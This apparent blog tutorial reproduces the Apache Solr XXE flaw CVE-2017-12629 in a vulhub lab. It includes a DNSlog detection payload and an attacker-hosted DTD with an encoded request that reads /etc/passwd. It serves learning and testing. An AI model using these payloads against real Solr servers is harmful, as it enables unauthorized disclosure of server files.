🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 一、漏洞编号
- 二、影响范围
- 三、漏洞描述
- 四、环境搭建
- 1、进入CVE-2017-12629环境
- 2、启动CVE-2017-12629环境
- 3、查看CVE-2017-12629环境
- 4、访问CVE-2017-12629环境
- 5、查看CVE-2017-12629漏洞提示信息
- 6、关闭CVE-2017-12629环境
- 五、漏洞复现
- 1、查看core
- 2、Dnslog检测漏洞是否存在
- 1.获取域名
- 2.构造payload并执行
- 3.漏洞存在
- 3、读取/etc/passwd文件
- 1.构造xml文件
- 2.启python进程开放xml文件
- 3.构造payload
- 4.执行payload
- 六、漏洞修复
- 七、相关资源
一、漏洞编号
CVE-2017-12629-xxe
二、影响范围
Apache Solr < 7.1
Apache Lucene < 7.1
三、漏洞描述
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE)。
四、环境搭建
1、进入CVE-2017-12629环境
cd vulhub/solr/CVE-2017-12629-XXE
2、启动CVE-2017-12629环境
docker-compose up -d
在这里插入图片描述
3、查看CVE-2017-12629环境
docker-compose ps
4、访问CVE-2017-12629环境
访问ip+端口
http://192.168.233.128:8983/solr/#/
5、查看CVE-2017-12629漏洞提示信息
cat README.md
6、关闭CVE-2017-12629环境
复现完记得关闭环境
docker-compose down
五、漏洞复现
1、查看core
访问http://ip:8983/solr/admin/cores,查看有哪些core。可以看到有个core名字为demo。
这里vulhub默认就是demo,真实环境需要查询。
2、Dnslog检测漏洞是否存在
1.获取域名
这里使用的dnslog平台是dnslog.cn,获得的域名是57r0h1.dnslog.cn。
dnslog.cn
57r0h1.dnslog.cn
2.构造payload并执行
http://192.168.233.128:8983/solr/demo/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://57r0h1.dnslog.cn"><a></a>'}&wt=xml
3.漏洞存在
dnslog平台出现解析记录,证明漏洞存在
3、读取/etc/passwd文件
1.构造xml文件
攻击机上写入一个可以访问的xml文件,我这里文件名字为PowerShell.dtd,文件内容如下
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
2.启python进程开放xml文件
在PowerShell.dtd所在目录下启动cmd
键入如下命令起一个python服务
python -m http.server 8080
3.构造payload
构造payload如下
http://192.168.233.128:8983/solr/demo/select?&q=<?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM "http://192.168.116.1:8080/PowerShell.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser
http://192.168.116.1:8080/PowerShell.dtd为之前创建的文件地址
由于get型,我们进行url编码,编码工具在文末给出,编码之后
http://192.168.233.128:8983/solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f192.168.116.1:8080%2fPowerShell.dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser
4.执行payload
成功读取到/etc/passwd文件
六、漏洞修复
升级为Apache Solr最新版本。
七、相关资源
1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)